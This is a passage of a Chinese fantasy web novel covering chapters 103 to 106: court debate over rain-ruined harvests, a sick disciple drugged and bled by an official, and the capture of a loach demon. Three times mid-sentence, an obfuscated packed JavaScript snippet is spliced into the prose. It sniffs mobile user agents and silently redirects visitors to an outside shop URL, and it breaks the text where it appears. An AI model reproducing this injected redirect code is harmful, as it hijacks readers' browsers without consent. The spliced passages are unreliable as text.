左相再次开口:“民以食为天,农田看天产粮,沈宫主的担忧和顾虑不无道理,陛下所说的夏耕与秋耕也是可行之策,但正如沈宫主方才所言,魔龙意在扰乱天气祸害百姓,眼下春耕失利,如果把产量希望寄托于夏秋两季恐生变故。” 左相的年纪很大了,他说起话来又慢又沧桑,去年挨了那三十大板如今还能正常站在这全要靠他一副健朗的身体,可这具身体此刻略显孱弱,说完几句话后,左相已呈疲态。 他缓了口气接着道:“臣少时曾跟老母一起种过地,知道有一些粮食不依赖环境好养活,朝荣国内以种地为生的百姓自然也明白这个道理,既然现在是特殊时期,‘防’和‘做’都要进行。朝廷给各城知府下达抗洪指令以及各大门派用出的避雨屏障都是‘防’,让百姓根据种地经验播种不怕水的苗种,确保将来不会出现饥荒现象,便是‘做’。就像方才几位宫主所说的那样,万民一心,可最大程度降低魔龙带来的危害。” 左相咳了两声,老态的身形如枯木似的虚弱摇晃。 朝堂上的议论声大了些,不少人小声表示着赞同,这不仅因为左相乃三朝元老,身份尊贵,还因为这番言论曾在赵皇帝登基之初,赵皇帝请教左相治国之法时左相也说过这样的话: “大到治理国家、稳定民生,小到教书育人,种田务农,都离不开‘防’与‘做’。种地既要防虫也要施肥,庄稼才会长得更好。育人既要设立法律制度惩罚不当行为也要让人读书知礼,懂得做人。治理国家先修身齐家,才会防内忧与外患,得以平天下。” 周望抬起眼皮看了左相一眼,又将目光移向高座上的赵皇帝。 赵皇帝额前的十二串黑珠静静地垂着,他神色不怒不喜,一双泛着君王威严的眸子此刻略显空洞,像在出神,像在沉思,又像是意识到了什么从前未发觉之事而陷入了短暂反应中。 “左相大人不愧是三朝元老,博学多识,为国为民,论资历和经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008831|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人能及,几句话解决了百姓吃饭的问题,真乃朝荣国之贤臣。”周望不急不慢的声音拉回了赵皇帝的思绪。 左相卧床在家时就听闻朝堂上多了个能人,他上朝那天正好赶上周望监工回来了,左相就想跟他认识认识,但年轻人腿快,下了朝就没影了,左相一直不得机会,此刻不想周望会搭腔。 他侧身打量了他一眼然后回应道;“称不上解决,只是不让百姓饿肚子罢了,各人有所长,周大人聪明睿智,帮助陛下解决了不少纷争,三皇子如今仍在外监工,他虽贵为皇子,却也是臣,我们做臣子的不就是要为国为民吗?” “左相大人此言甚是。”右相听了身后周望对左相的赞美话后心有不服,论资历他也是三朝元老,不比左相差,左相懂得的他也懂,左相能说的他也能说。 左相在家躺了这么长时间,自己好不容易得陛下赏识了,不能让左相抢了自己的风头。 右相觑了眼赵皇帝的神色,“我与左相共事三十多年,自认比不上左相勤勉有才,但也立志要做个忠君爱国之臣。这两个月来,陛下忧思百姓可谓是食不甘味,夜不能寐,身为臣子,不能为君王分忧实在心中有愧,如今左相大人归朝,臣要恭喜陛下忧民之心可解。” “臣惶恐。”左相朝上一拜,“殿堂诸位都各有作为,臣已年迈,许多事情都要靠诸位大人共同协助,即便臣不说选粮播种一事,各地农户也知道如何耕作,实在称不上解法,只是天气恶劣,百姓的衣食住行皆有影响,臣还有一提议请陛下思量。” 赵皇帝看着他:“讲。” “不说春秋两季是何情形,单是现在的三月雨灾就已经影响了春耕,今年的粮食收成定会大大降低,百姓的收入也会减少,臣提议适当降低百姓今年的田税,一来减轻百姓负担,二来百姓会感念朝廷恩惠,可显陛下仁德。” “左相考虑周全,如此一来,百姓生活得以保障。” 左相闻声回头,见后排的沈宫主朝自己颔首微笑。 大殿忽然异常寂静,方才的议论之声不约而同地消了下去。 “降低田税未免言之过早吧。”右相又觑了眼赵皇帝的表情后才开口,“秋后的事秋后再说,朝荣国建立几百年来还未有过减免田税的先例。” “右相大人此言差矣。”周望在左相开口前便先一步说道,“事急从权也未为不可,左相大人也只是提议,具体还得由陛下决定。” 说着,周望面朝赵皇帝缓缓道:“陛下,臣监工期间常听百姓们称赞左相大人忧国忧民,今逢雨灾,左相大人便替百姓考虑建议陛下降低田税,当真是满心为民,臣自认不足,只知陛下乃一国之君,一心一意为君办事,今后朝堂之上,若有左相随时在旁提供建议,臣相信陛下一定高枕无忧。” 赵皇帝的眉头皱得更深了。 右相狐疑地看着身后的周望,难道他跟自己一样通过对左相明褒暗贬来排除异己? 左相呆滞了一会儿,再不说话了。 朝堂寂静了半晌,赵皇帝方开口说田税一事以后再议。 沈、邱与上官三位宫主并未多想,他们和周望颇有交情,将他视作一位德才兼备之人,况且周望一番话听起来就是在称赞左相。 他们是门派中人,虽说入朝听政,但到底跟朝中官员有区别,很多事情都需要官员发表政见,他们干涉过多就要被赵皇帝说一句摄政。 下朝后,沈宫主叹道:“周大人颇得陛下赏识,如今朝中称得上贤臣的人寥寥无几,希望他能和左相一起辅佐陛下,助陛下早日清醒。” * 几日后,沈宫主上朝时不见左相,更没想到连着数日左相都未露面。周望下了朝就没影了,官员四散离开,沈宫主就近找了个官员问了问方知因由。 左相又病了。 104. 光芒 “容珠,你看起来脸色不好,生病了吗?” 温柔的声音拉回了容珠的回忆,正想回头,忽地鼻子一痒,打了个响亮的喷嚏后方见来人是沈宫主。她一笑:“前几日晚上睡觉没盖好被子着凉了,不打紧。” 她声音微哑,随后用力吸了吸堵塞的鼻子,却只输送了丁点新鲜空气入肺。 本来就呼吸不畅,在屋里更是憋得慌,她就出来走走,又觉浑身无力,便在湖边石块上坐下来吹风,依稀想起幼时自己生病做了噩梦醒来看到娘亲就在床边坐着的安心感。 “修炼之人还会着凉生病,真不应该。”容珠自嘲地笑着,余光见沈宫主身体前倾靠了过来,将手背贴上了她的额头道:“人有小病小痛不是很正常嘛,这跟修不修炼没关系,我试着你体温偏高,还是不要在这吹风了,回去躺着,我让药堂给你拿药。” 容珠将目光落在沈宫主收回去的手上,客气道:“不必劳烦沈宫主,我已经去过药堂了,先前吃了剂药,想来休息两天就没事了。” 沈宫主摸了摸她的脸颊,忽然想起了什么,四下看看道:“我似乎好几日没见着你师父了,你生病,他不心急吗?” 一股凉风从湖面吹来,堵塞的鼻子一下子通气了,徐徐清风灌入肺部跟打通了经脉一样。 沈宫主见容珠的脸泛了层血色,把罪责都推到了风身上,“你看看,脸这么热,是不是又冻着了?快回去躺着,我找应白让他给你煎药端药,省得你来回折腾,也让他安心。” 沈宫主动作很快,眨眼间就起身要去找人,容珠忙道:“师父他去找灵根草了,不在宫里,我只是伤风感冒,这点事情还是能做的。现下起风了,估计一会儿又要下雨,我就先回去休息了,沈宫主不必担忧。” 说出来的话仿佛应验了一般,大风刮过湖面带起层层波纹,吹得人头发乱舞,沈宫主单手一扬便施了个避风屏障罩着容珠,边走边问:“跟你师父吵架了?” 容珠微讶,应白是她师父,徒弟怎会和师父吵架?她不晓得这两件事之间有什么关联,茫然道:“沈宫主何出此言?” 沈宫主不回答她,只笑笑,又问:“不是吵架,那你跟他有什么误会吗?” 依应白的心思,两个月没见爱徒,怎么可能爱徒刚一回来他就跑去找什么灵根草?沈宫主可不觉得对应白来说容珠比灵根草还要重要。他这么着急忙慌地离开容珠如果不是吵架了,那二人定然有误会。 容珠脑袋昏沉,她朝沈宫主摇头,想不明白为什么沈宫主会觉得应白去找灵根草就代表着吵架和误会,她那天什么也没说成,什么也没做成,她也并没看出应白有何异常,虽然她也觉得应白的离开有些突然。 沈宫主瞧她一眼便知她还没有意识到发生了什么事,不禁在心里感叹:年轻就是好,年轻时的爱最为纯真难得,也正因年轻,缺少经验这一点倒让他们能将爱情里的酸甜苦辣尽数品尝,有些滋味称不上美妙,但许多年后反而会怀念。 远处桥上有紫阳宫的弟子三三两两疾步前行,像一群赶着看什么热闹的样子,沈宫主观察了几眼,心想一会儿过去看看发生了什么事。 没多久,沈宫主陪容珠走到院子里,她轻轻抚上容珠的肩膀,“两人相处,有时候多问一句多说一句就能免去不必要的误会,你和应白当局者迷,旁人看得清也没用,那是你们自己的事儿,以后不管发生什么,都别忘了信任和坦诚,现在不明白不要紧,你记着我说的话就好了。” 狂风四起,容珠在这方避风屏障里静静地回味着沈宫主的话,她隐约觉着这番话很不寻常,听起来很是亲昵,隔着一层薄薄的窗户纸,看不清后面的景象,却让人莫名心跳。 容珠睡得昏昏沉沉,又做了些乱七八糟的梦,醒来后仍觉头重脚轻,鼻塞不通。 她不愿在床上躺着,从前为了修炼,常年晚睡早起,生了病也不懈怠,虽然如今灵力已大有提升,从前的习惯却早已根深蒂固,改不掉了。 天阴得辨不清时辰,外头依然狂风乱作,将天上的乌云吹得相互拥挤,顾不上自个儿的雨囊口破,顺着风飘落几滴雨水打在人脸上,凉冰冰的,风也是水渍渍的,吹一会儿浑身都粘腻。 “容珠!” 院门前提剑窜出来一个人影,顾云萧兴致勃勃地过来要切磋,上官琛拦着她:“选个好天儿比行吗,干什么非要现在?” “哪天天好?”顾云萧反问他,“不是刮风就下雨,是你跟我说敌人可不会挑鸟语花香的时候来上门挑战,上次你们在暴雨里照样打败魔龙,今天这天气可比那时候好多了!” 风大,两人说话声也大,听起来像在吵架,容珠对顾云萧说自己染了风寒没力气,改天再比试。顾云萧有些失望,容珠却忽然改了主意,她回屋拿剑,出来后看着漫天狂风道:“走吧,敌人也不会在你准备好的时候才来。” 一道剑光陡然闪现,在这片刻突变中,容珠从对方剑身上看到了自己微惊的眸子,白光同时映照在容珠和顾云萧的眼眸中,上官琛见状忙闪到一旁,嘴里忍不住道:“这么突然。” “我只是在做‘敌人’罢了。”说话间,顾云萧和容珠已过了几招,她能感觉到容珠的确力气发虚,但自己应对起来仍旧吃力。 眼瞧着顾云萧一个侧身躲过了攻击,容珠顺势缓了动作,给她一个提剑而上的机会。 切磋讲究的是教与学。虽然在实战中,容珠可能几招就能握住她的性命,但切磋时容珠会对自己的实力做出适当让步,在这过程中让顾云萧对二人之间的差距有清楚认识外还要激发她的潜力,把控节奏,一步步引领她做出应对,逼迫她突破自己,让她意识到哪些招式有致命缺点,哪些招式可趁机取胜,通过她的剑法变化来得知她是否有所领悟以及心态变化,在合适的时机点到为止,结束切磋。 这些是容珠当时跟应白练剑时所知道的东西,应白说他的剑法就是在和师父的切磋中练成的。 但应白跟容珠切磋只能锻炼容珠的剑法,不能锻炼她的灵力。适当的压力和危机能提升一个人的能力,如果容珠想快速提升自己的灵力就需要找一个更厉害的修炼者切磋。 同样,这个修炼者要具备“教”的能力。 顾云萧剑法虽然又急又快,却处处暴露着要害,把自己的胸膛和咽喉几乎要双手奉上,容珠压着她的剑在离她咽喉一寸处划过,右脚前跨钳制住她的腿,另一只手朝她胸膛作势击去。 这两招称不上速度快但对顾云萧来说极危险,她立刻格挡欲趁机摆脱束缚,但左右腿轮换被制住,几招过后,顾云萧眼瞧着对方剑光再次袭来,她心知自己功夫不到位,干脆也不反抗了。 “我输了。”顾云萧颇不服气地收剑,随后她缓和了神色:“不过,跟你切磋好刺激啊,我喜欢这种感觉,但跟他对打老让我感觉到挫败。” 被点名的上官琛突然被徒弟嫌弃了,他撇撇嘴,赌气道:“那你拜容珠为师吧。” 容珠切磋切得浑身冒汗,她被逗笑了,见顾云萧三两步跨过去道:“你是在说你无能?” 上官琛瞪她一眼,“我是怕你不如意,若你又不开心了,修炼不好,到头来不还得怪到我身上?” “你在说我脾气不好?” “你什么脾气我怎么清楚?” “你明明就是这个意思!” “你也是这意思!” “我什么意思?” “……” 容珠很想继续听二人争吵,又觉得自己在这有点多余,可这里是自己的院子啊!大风刮得树叶沙沙作响,像在给那边的二人煽风点火。 远门前传来两声狗叫,上官琛和顾云萧的争吵声戛然而止,容珠刚想上前看看金毛怎么了,就见金毛转头跑了出去。 “它在叫我们跟它走。”上官琛熟悉金毛,他这么一说,三人便齐齐追了出去。 容珠忽然想起来她睡前和沈宫主往回走时便见几个紫阳宫弟子急匆匆地不知往哪去,难道紫阳宫发生了什么事吗? 她心下一沉,沿路观察着紫阳宫状况,直到跟着金毛跑到了紫阳宫大门前,见几个从外面回来的弟子在激烈地说着什么,她驻足问他们发生了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012404|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,一弟子高兴道:“石碑印记又被点亮了一道!” “什么!”上官琛又惊又喜,“哪位人士?” 弟子收起了笑容摇头道:“不知道。” “不知道是什么意思?”容珠心下奇怪,谁点亮了石碑就要上报皇宫,况且周围有那么多人看见,怎么会不知道这人是谁? 紫阳宫的弟子陆陆续续从外面看完热闹回来了,这样稀奇古怪的事人人都抢着说:“今晨第一批去验血的人到石碑处就已经发现印记多亮了一道,他们还以为昨日有人点亮了石碑,等着皇宫公布人名,谁知前来巡查的皇宫侍卫说昨日并没有人来报是何人点亮了石碑,于是侍卫先将消息报告给了陛下。” 这弟子一口气说到这儿本想喘口气接着说,但被另一个弟子抢了去:“陛下派人打听,但整个都城没有一个人知道究竟是谁点亮了石碑,这消息一传百,百传千,好多人现在都在石碑那儿挤着看呢!” “快走快走,我们也去看看!”顾云萧催促着上官琛,“御剑飞行!” 金毛看三人要走,在后面哼哼直叫,几个紫阳宫女弟子围过来摸它:“我们来陪金毛玩,好几天没见你了,跑哪儿去了?” 金毛被一群穿着紫衫的女弟子围在中间,蓬松的尾巴来回摇摆。 御剑飞行很快,转眼间就到了石碑处,在半空中就看见底下乌泱泱聚了一大堆人,顾云萧好热闹,不等剑落地便瞅着高度跳了下去,上官琛追着顾云萧淹没在了人群里。 容珠这会儿觉着脑袋更昏沉了,她摸了摸额头,有点烫。 她平常不怎么生病,一生病就得好几天,过去一直如此,即便普通的风寒也得吃四五天药才能好转。紫阳宫的药堂先生跟她说好好休息,容珠不想睡觉,梦魇醒不来比醒着还要煎熬。 她从人群缝隙中穿过,费劲来到前面,见站在石碑前的一个背影很是熟悉,她歪头看了一眼那人的侧容确认后方惊奇道:“周大人?” 周望出神的双眸一动,目光从石碑上离开看向身侧,随后微微一笑,“容姑娘。”他立即切入正题:“传说能击杀魔龙的石碑印记又被点亮了一道,陛下很高兴,谁想却不见其人,容姑娘可知这位神秘人是谁?” 两人高的石碑竖立在眼前,新被点亮的是第三排最后一道印记,挨着上官琛点亮的红色光芒,它散发着跟树皮一样的棕色之光。 容珠摇头:“印记被点亮,而点亮印记的人却不现身,难道他不想击杀魔龙?” “我听天师大人说石碑是神圣之物,神物既然选择了此人,便等同于以血为契,签订了契约,恐怕也不是想不履行就能不履行的。”周望看这里人多杂乱,伸手示意容珠前行。 “除了不想履行任务外,还有另外一种可能。”周望眼底有笑意,“说不定此人想让自己有排面些,等到整个朝荣国都在猜测此人是谁却迟迟不得解,等到陛下满城张贴告示寻求此人时,他方款款现身,让自己一时之间成为所有人的焦点。” 他说话不紧不慢,像是一本正经。容珠讶异地看着他,周望笑道:“我开玩笑的。” 容珠不觉得好笑,但不笑不礼貌,于是她扯了扯嘴角,忽然喉间一痒,她咳了两声。 “我看容姑娘脸色不似正常红润,想必是身体不适,这里离周府不远,容姑娘不如去我那里歇歇吧。” 容珠没想到周望这么客气,“多谢周大人好意,我的确身体不适,先前也是听紫阳宫的弟子们说起有人点亮了石碑才来看看,现下有些疲乏了,我还是回紫阳宫歇息吧,来日再拜访周大人。” “太可惜了。”周望眉头微微皱着,却不打算放人走,“有样东西我一直想给容姑娘,每次都没有机会,容姑娘说的来日也不知要多久以后了,择日不如撞日,容姑娘不如拿完了东西再回紫阳宫吧。” 说着,周望朝自家车夫招了下手,车夫很快将马匹牵了过来。 “不知周大人要给的是什么东西?”容珠看着车夫把小板凳放了下来。周望微笑道:“只是一件很平常的东西而已。”他伸出手说:“容姑娘请。” 105. 泥鳅 “哎,那不是周大人吗?”顾云萧无意间从人群中看到了不远处的两个身影,“容珠要去周府?” “你也想去?”上官琛抱臂问她。 顾云萧瞥他一眼,“我有眼色。” 上官琛不明所以,“什么眼色?你不是很喜欢跟你的周大人在一起吗?” “俊男美女谁不喜欢?周大人长得帅,我是很喜欢跟他说话,但人家心有所属,我嚷嚷着一起去岂不是没眼色?” 上官琛更听不懂了,“你到底在说什么?” “我在说周大人跟容珠啊。”顾云萧递了个眼神让上官琛看那边。 “监工出发那天我就看出来了,现在想想,让容珠去监工肯定不是陛下的主意,周大人早有此心,想借监工的机会跟容珠多多相处,天哪!” 顾云萧声音拔高了一调,神情激动兴奋,“都是帅哥,这可怎么选?” 上官琛震惊无比,他拉着顾云萧问:“你说的是真的吗?周望,他,他喜欢容珠?” “上官师父,我游历世间多年,看过许多情景,这种事情瞒不过……”顾云萧话还没说完,就被上官琛拉着跑。 “快回家,我要找顾先生!”上官琛拔剑,一脚踩了上去,顾云萧不解:“找我爹干什么?” 耳旁忽地刮过一阵风,脚下的剑飞速升空,顾云萧一个踉跄,差点要跌下去,她眼疾手快地抱住上官琛。 上官琛记着和应白的秘密,他没有脱口而出,而是在心里说:“我要问问顾先生,应白去哪了!” * 马车摇摇晃晃,容珠竟有些困了,她眼皮耸拉,隐约听到沿路街道上的百姓正激烈地讨论石碑印记一事,那些声音起初听得真切,渐渐模糊不清。 她似睡非睡,看到自己在和娘亲说话,娘亲离得那么近,可她伸手怎么也碰不到她,忽然娘亲朝前走一步,弯腰在自己耳边轻轻说:“到了。” 容珠惊醒,听见马匹轻叫,马车已经停了下来,周望掀帘下车,带着容珠进了府。 周府下人少,很安静,一路上周望也不说话,直带着容珠来到前厅坐下。 “前段时间监工回来后我便睡眠不好,晚上老是做噩梦,于是找大夫配了些安神助眠的香料包,睡前将它放在枕头旁边,可保一觉睡到天亮,我觉着效果还不错,想着给容姑娘也送些,但一直没有机会,待会儿我拿来,容姑娘带回去试试。” 周望将沏好的热茶放在容珠跟前,容珠颇觉意外,自己这两天因为生病晚上睡觉老做噩梦,没曾想周望要送自己的东西正好是安神助眠的香料包。 她朝周望道谢,拿起茶杯喝了口茶。 “好久没见你师父了,若容姑娘有空,下次和你师父一起来周府做客。”周望微笑着,容珠恍惚觉着脑袋一晕。 眼前的周望模模糊糊,她想说话又有气无力,以为是自己生病的缘故,心道得赶快回紫阳宫休息。 “一……一定。” 茶杯在手中有松动的迹象,杯底碰到桌面发出不小的声响,里头清亮的茶水激烈晃荡,沿着杯边洒了些出来。 困,特别困。 容珠心觉异常,连起身的力气都没有了,有一瞬间,她对坐在对面的人生了警惕之心,眼前的茶水似乎藏着什么透明的玄机。 她想调动灵力,可睡意如同一张巨大的毛毯遮住了她,把她的意识一点一点吞噬…… 没过多久,周望看着已经睡过去的容珠,伸手拿了一盏干净的茶杯,从小抽屉里拿了把短刀出来。 他起身坐到容珠面前,将她的袖口上挽,露出一截皮肤来,用刀刃割了个小口,鲜血外流。 他拿过杯盏,将她的伤口对准杯口,接了半杯的血后,把她的手腕放了回去,另一只手轻轻拂过伤口处,当拿开时,容珠的手腕已全然不见半点伤痕。 “云轻。”周望已盖好了杯子,外头的云轻听声进门。 “容姑娘睡着了,将她送去客房,醒来后把我准备的助眠香料包给她。” “是。”云轻去扶容珠,周望拿着茶杯出门,转眼便没影了。 * 回到紫阳宫后,上官琛直奔沈宫主的书房,果然见顾寄章在这。 巧的是,应白之前跟顾寄章提过他的寻找路线,顾寄章估摸着应白这会儿在颖城。颖城多是平地,山少,环境不佳,很多草药都不在此处生长,但应白不想放过任何一个地方,所以颖城那两座山应白还是要找找看的。 上官琛风风火火踏剑去了,地上的顾云萧扯着嗓子道:“帮我带回一包颖城的麻辣鸭头!” * 应白在颖城找灵根草,三皇子恰巧在颖城监工,二人在面馆吃饭时遇上了。 三皇子没怎么见过应白,是应白过去打的招呼,三皇子立刻想到是容珠的师父,二人坐在一起交谈。 赵皇帝在三皇子临行前嘱咐他要仔细监工,于是三皇子每到一座城就要待七八天,如今在颖城已经是第九天了,原因在于颖城劳工在挖沟渠时捅坏了一个泥鳅精的窝。 泥鳅精还没化好人形,整个身体半人半妖,为报拆家之仇,它用身上有毒的粘液毒害了很多劳工,中毒的劳工一直昏迷不醒。 颖城知府赶紧找当地的云景宫降妖,然而泥鳅精狡猾,只在水下使招,它实力平平却总能设计逃脱修炼门派的抓捕,甚至把那些弟子给耍了一通。 眼瞅着越来越多的人被害,颖城知府建议云宫主向紫阳宫求援。云宫主认为让紫阳宫出面来降伏一个小妖,不仅给小妖张脸,还让云景宫成为笑柄,于是坚称云景宫能降伏。 “荒唐!百姓安危在即,云宫主却还顾及脸面,实在不知轻重。”三皇子拿了纸笔,自己写了封信准备派人送去紫阳宫,没想到却在此时遇见了应白。 “世上万物相生相克,再厉害的妖都有弱点,殿下不如与我说说这泥鳅精的情况,我看看是否有破解之法。” 三皇子不知道应白的实力,只知容珠姑娘是点亮石碑的人,继而推断出容珠姑娘的师父肯定厉害,于是带着应白去了云景宫。 天快黑了,上官琛在颖城的两座山上找了一圈也没看见应白。他一只脚踩在山石上,一只手掐腰,心想若应白不在山上,那天黑后在一座城里面找一个人无异于难上加难,他打算先去买包麻辣鸭头回去,明早再来。 上官琛看着灰蒙蒙的天叹了口气:“应白啊应白,天不助我,也不助你啊。” 他找人打听了一下颖城最有名的鸭头店在哪,这个村民慌里慌张道:“哎呦还吃什么鸭头啊,再不回家躲起来,自个儿的头都要被腌了!云景宫连一个小泥鳅都奈何不了,这可让我们百姓怎么办呢!” 老伯说完后就匆匆离去了。夜风凄凉,酒馆屋檐下熄灭的灯笼摇摇晃晃,整条街上了无人烟。 “泥鳅……?”上官琛神色疑惑,随后便明白近期大雨不断,河沟积水泛滥,又兼各处动工挖地,引得一些精怪出来作乱。 听那老伯方才所言,这泥鳅精已经胡作非为了一阵,既然自己来了此地就不能置之不理。上官琛眸光一凛,火红的身子一跃,消失在了黑夜中。 云景宫内,应白已经从被三皇子私下训斥过的云宫主口中得知了云景弟子们和泥鳅精交手的细节,这倒让他想起了自己少时和那只水怪交手的情景。 泥鳅精同水怪一样鬼灵精,靠着自身敏锐的触觉和味觉轻而易举躲避敌人的攻击,但泥鳅精有一点跟水怪不同,而这一点便是制伏它的突破口。 夜幕降临,夜空无月,应白建议现在就行动,“云宫主不必叫弟子,就你和我便够了。” 就在二人下阶梯时,有云景宫弟子慌张来报:“宫主,那泥鳅精正在棉县灯河上作乱呐!已经掀翻了好几艘客船了,许多百姓被泥鳅精击中昏迷不醒,那边乱作了一团,请咱们云景宫前去降妖!” 云宫主一惊,反问应白:“你不是说泥鳅精不在天黑以后出来吗?” 应白看了一眼云景宫山下乌漆嘛黑的街道民户,“云宫主,话不能只听一半,你可听见这弟子说了‘灯河’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015345|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二字?” 云景宫坐落在颖城的中心地带新县,泥鳅精的老窝也在新县,它原本只在新县作乱,如今顺着河流交错钻到颖城的边界棉县去了。棉县今日有灯会,河上全是灯船,把几条街装点得灯火辉煌,正逢今夜无雨,那边热闹得很。 三皇子走了过来:“为保颖城百姓安宁,除妖一事便交给云宫主和应公子了。” 云宫主心里发慌,应白说不需要弟子,可他又没灵力,去了以后岂不是只能靠自己? 一刻钟后,云宫主带应白来到了棉县百姓遇害现场。 灯火明亮的街道上百姓四处逃窜,棉县县令张罗着手下把地上躺着的人带到附近医馆,到处都有溅出来的河水,河里的游船四仰八叉堆挤在一处,忽然一道黑影从河里嘣出,发出一阵刺耳狂放的笑声后又潜入河里。 云宫主指着河面上被搅动的漩涡道:“那就是泥鳅精!应公子,你的办法是什么?” 二人正站在屋顶上俯瞰全景,应白盯着河面道:“泥鳅精眼神不好,只能去有光的地方,且它不能长时间在陆地逗留,一会儿麻烦云宫主将别处的灯都灭了,只留这条河周围的灯,我游船河面,引那泥鳅精出来。” 云宫主没想到应白以身涉险,他看了他一眼,什么也没说,便去那头灭灯去了。 应白从屋顶飞下来至河上,一脚将一艘翻身了的船踩正了过来,身子一旋顺势坐下,拿起船桨慢慢划动。 四周忽然异常寂静,慌乱的百姓不知跑到了何处,远处的璀璨灯火眨眼间便没了光亮,河面上还有几盏精致的莲花灯,灯上有字:掌中珠,心上气,爱惜岂将容易。花下月,枕前人,此生谁更亲?① 应白呆看了一会儿便将这盏莲花灯从河面上捧了起来。前十二字无意间搅动了他原本平静的心,内心的情感此刻如翻滚的海浪汹涌激烈。 容珠于他就是那个想要分外珍爱的人,情动的那一刻他也未曾想过今后她会如自己的生命般不可或缺,可一想到她心之所属并非自己,一颗心便涌上了一股缠绵酸苦的滋味。 他依依不舍捧着这盏莲花灯,抚摸了一会儿又将它放回河里。正此时,船身忽然一晃,应白警醒,故意将船划快了些,河下之物果然愈加兴奋,穷追不舍,将船身的前后左右撞了个遍,意在激起船上之人更大的恐慌。 这艘船本来就有些破败,应白从船身损坏翘起的地方掰了一条四寸长的尖锐木条握在手心,同时不断加快船速,东划西游,显得很是“慌张”。 他双脚发力,控制住船身不翻,那水下之物祸害了半天也没达到目的,只以为是自己欠了力道,干脆一掌集结妖力朝那船底击了过去。 河面水波诡异地流动着,应白登时跃身至半空中,但见下一瞬船身破裂,一道黑影窜出河面,应白眸光锁定,旋身间手臂一甩,木条带着力道叉在模糊的黑影里,忽地一声惨叫,黑影紧接着被木条的力道冲到了街道上,一杆长枪横空飞来,淡红光芒随其而下,将这团黑影牢不可破地罩了起来。 云宫主难以置信地跑了过来,看见禁妖屏障里躺着一条垂死挣扎的泥鳅,泥鳅的肚皮被木条贯穿,尾巴不停地扑腾着,身下淌了一地粘液。 云宫主此时的头有千斤沉,云景宫派出十几名弟子都没降伏的小妖今日却被一个没灵力的人拿一个普普通通的木条子给制住了,而且他更没想到的是,这件事到底传到了紫阳宫耳朵里。 “上官公子,这等小妖怎好劳烦沈宫主操心。”云宫主仍旧半低着头,声音十分客气。上官琛好奇地看了他一眼:“什么呀,我是来找人的。” “阿琛,你怎么会来颖城?”那杆长枪一出现应白就认出了来人。 上官琛到了云景宫后听弟子们说云宫主和应公子去了棉县降妖,他心下一喜,说了句“真是天助我也!” “我为什么会来颖城?”上官琛看了泥鳅精一眼,眼下肚子饿了,真想把它烤来吃。 他上前把应白拉到一边,疲惫道:“应白,你知不知道容珠要被有心之人拐走了?” 106. 有别 应白心中顿明,没想到容珠和周望的事进展得这么快,整个紫阳宫都知道了,他叹道:“若是两情相悦,何来‘拐走’一说。” “两情相悦?”上官琛以为自己又没发现端倪,毕竟他不常跟容珠在一块,更不知道她跟周望之间发生了什么事,可他还是不信,“容珠是这么跟你说的?” 应白想起容珠刚监工回来那天,她忽然坐到自己身边,之后被邱梧的突然出现打断的那句话。 那句话没说完,可不用说完应白也知道容珠要说什么,他不想听,心知容珠得了机会一定会再提起,便早早出紫阳宫来找灵根草,他其实是在躲。 “她还没说出口。”应白看着河面上那些莲花灯,写着“掌中珠”那一盏此刻已经不知道飘哪去了。 “那你就是没亲耳听见。”上官琛单纯道:“容珠怎么可能喜欢周望呢?她看你的眼神跟你看她的眼神明明一般无二啊。” 应白怔了片刻,莲花灯顺着风向在河面上漂流,留下一道道轻微的波痕。 后面的云宫主不知道他俩在说什么,如今泥鳅精被抓,按照惯例是要击杀的,应白的木条没有灵力,只能伤到泥鳅精而不能致死,好在上官琛设了禁妖屏障让它不会趁机跑掉。 如今众多百姓中粘液之毒,云景宫已经研制出了解毒之法,云宫主想着先回宫里给三皇子禀告结果,再拿解药救治百姓。 “我娘说,眼睛是人身上最聪明狡猾的东西,聪明在于,有时候心里不知道的东西,眼睛已经替你表达出来了,狡猾在于,有时候眼睛看到的不一定是真,它告诉我们的有可能是与现实截然不同的假象。” 上官琛看向应白,“你对我说容珠跟周望是两情相悦,可我看到的却是她心悦于你,或许不是眼睛在欺骗我们,是我们想当然地认为了某件事,既存在争议,倒不如问本人的好。” “带我回去。”应白将上官琛转了个身,似乎想立马飞回紫阳宫。禁妖屏障里的泥鳅哭丧道:“水,我要水!” “别着急。”上官琛笑呵呵地对泥鳅精和应白说,他走过去蹲在屏障外审问它:“说,你跟魔龙是什么关系?” “魔龙?朝荣国的魔龙?”泥鳅已经无力摇尾了,它气息奄奄道:“龙和泥鳅,一个天上,一个地下,八竿子打不着,有什么关系?” 上官琛不信,“它不是泥鳅变异的吗?” 泥鳅开始翻白眼了,“它,它是,是,是龙……” 